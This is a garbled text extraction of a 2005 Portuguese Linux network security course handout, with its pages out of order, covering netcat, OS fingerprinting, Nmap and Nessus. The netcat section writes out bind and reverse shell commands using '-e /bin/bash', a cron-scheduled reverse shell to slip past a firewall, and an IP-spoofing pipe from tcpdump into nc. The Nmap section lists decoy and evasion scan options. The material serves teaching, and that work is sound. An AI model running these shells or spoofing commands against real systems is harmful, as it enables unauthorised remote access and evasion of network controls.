spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 40: Curso de segurança em linux e redes em geral

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

